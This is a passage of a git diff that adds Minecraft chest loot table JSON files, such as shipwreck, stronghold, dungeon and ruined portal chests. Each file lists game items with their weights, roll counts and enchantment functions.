+ "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:golden_sword" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:golden_chestplate" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:flint_and_steel" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:nether_wart" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "weight": 8, + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:obsidian" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/pillager_outpost.json b/src/data/minecraft/loot_tables/chests/pillager_outpost.json new file mode 100644 index 00000000..fe793d84 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/pillager_outpost.json @@ -0,0 +1,178 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crossbow" + } + ] + }, + { + "rolls": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:potato" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:carrot" + } + ] + }, + { + "rolls": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:dark_oak_log" + } + ] + }, + { + "rolls": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 7, + "name": "minecraft:experience_bottle" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:tripwire_hook" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/ruined_portal.json b/src/data/minecraft/loot_tables/chests/ruined_portal.json new file mode 100644 index 00000000..4a4ab78d --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/ruined_portal.json @@ -0,0 +1,261 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 4.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:obsidian" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:flint" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 9.0, + "max": 18.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "weight": 40, + "name": "minecraft:flint_and_steel" + }, + { + "type": "minecraft:item", + "weight": 40, + "name": "minecraft:fire_charge" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 24.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_sword" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_axe" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_hoe" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_shovel" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_boots" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_chestplate" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_helmet" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_leggings" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:glistering_melon_slice" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:light_weighted_pressure_plate" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:golden_carrot" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:clock" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "name": "minecraft:bell" + }, + { + "type": "minecraft:item", + "name": "minecraft:enchanted_golden_apple" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_block" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/shipwreck_map.json b/src/data/minecraft/loot_tables/chests/shipwreck_map.json new file mode 100644 index 00000000..2e383ee5 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/shipwreck_map.json @@ -0,0 +1,84 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:exploration_map", + "decoration": "red_x", + "zoom": 1, + "skip_existing_chunks": false + } + ], + "name": "minecraft:map" + } + ] + }, + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:compass" + }, + { + "type": "minecraft:item", + "name": "minecraft:map" + }, + { + "type": "minecraft:item", + "name": "minecraft:clock" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:paper" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:feather" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/shipwreck_supply.json b/src/data/minecraft/loot_tables/chests/shipwreck_supply.json new file mode 100644 index 00000000..1fbb1a1f --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/shipwreck_supply.json @@ -0,0 +1,272 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 10.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:paper" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:potato" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:poisonous_potato" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:carrot" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 21.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_stew_effect", + "effects": [ + { + "type": "minecraft:jump_boost", + "duration": { + "min": 7.0, + "max": 10.0 + } + }, + { + "type": "minecraft:saturation", + "duration": { + "min": 7.0, + "max": 10.0 + } + }, + { + "type": "minecraft:blindness", + "duration": { + "min": 5.0, + "max": 7.0 + } + }, + { + "type": "minecraft:poison", + "duration": { + "min": 10.0, + "max": 20.0 + } + }, + { + "type": "minecraft:night_vision", + "duration": { + "min": 7.0, + "max": 10.0 + } + }, + { + "type": "minecraft:weakness", + "duration": { + "min": 6.0, + "max": 8.0 + } + } + ] + } + ], + "name": "minecraft:suspicious_stew" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 24.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:pumpkin" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bamboo" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gunpowder" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:tnt" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:leather_helmet" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:leather_chestplate" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:leather_leggings" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:leather_boots" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/shipwreck_treasure.json b/src/data/minecraft/loot_tables/chests/shipwreck_treasure.json new file mode 100644 index 00000000..c3e6145d --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/shipwreck_treasure.json @@ -0,0 +1,123 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 6.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 90, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:experience_bottle" + } + ] + }, + { + "rolls": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 50, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:lapis_lazuli" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/simple_dungeon.json b/src/data/minecraft/loot_tables/chests/simple_dungeon.json new file mode 100644 index 00000000..9bb47322 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/simple_dungeon.json @@ -0,0 +1,273 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:enchanted_golden_apple" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:music_disc_13" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:music_disc_cat" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:name_tag" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + } + ] + }, + { + "rolls": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:bucket" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:melon_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:pumpkin_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beetroot_seeds" + } + ] + }, + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gunpowder" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/spawn_bonus_chest.json b/src/data/minecraft/loot_tables/chests/spawn_bonus_chest.json new file mode 100644 index 00000000..6210381c --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/spawn_bonus_chest.json @@ -0,0 +1,208 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_axe" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:wooden_axe" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:wooden_pickaxe" + } + ] + }, + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:salmon" + } + ] + }, + { + "rolls": 4, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:stick" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:oak_planks" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:oak_log" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spruce_log" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:birch_log" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:jungle_log" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:acacia_log" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:dark_oak_log" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/stronghold_corridor.json b/src/data/minecraft/loot_tables/chests/stronghold_corridor.json new file mode 100644 index 00000000..1ffc5292 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/stronghold_corridor.json @@ -0,0 +1,170 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:ender_pearl" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_sword" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_chestplate" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_leggings" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_boots" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/stronghold_crossing.json b/src/data/minecraft/loot_tables/chests/stronghold_crossing.json new file mode 100644 index 00000000..4ddc1605 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/stronghold_crossing.json @@ -0,0 +1,119 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_pickaxe" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/stronghold_library.json b/src/data/minecraft/loot_tables/chests/stronghold_library.json new file mode 100644 index 00000000..26fc5241 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/stronghold_library.json @@ -0,0 +1,64 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 10.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:paper" + }, + { + "type": "minecraft:item", + "name": "minecraft:map" + }, + { + "type": "minecraft:item", + "name": "minecraft:compass" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/underwater_ruin_big.json b/src/data/minecraft/loot_tables/chests/underwater_ruin_big.json new file mode 100644 index 00000000..7174111d --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/underwater_ruin_big.json @@ -0,0 +1,113 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + 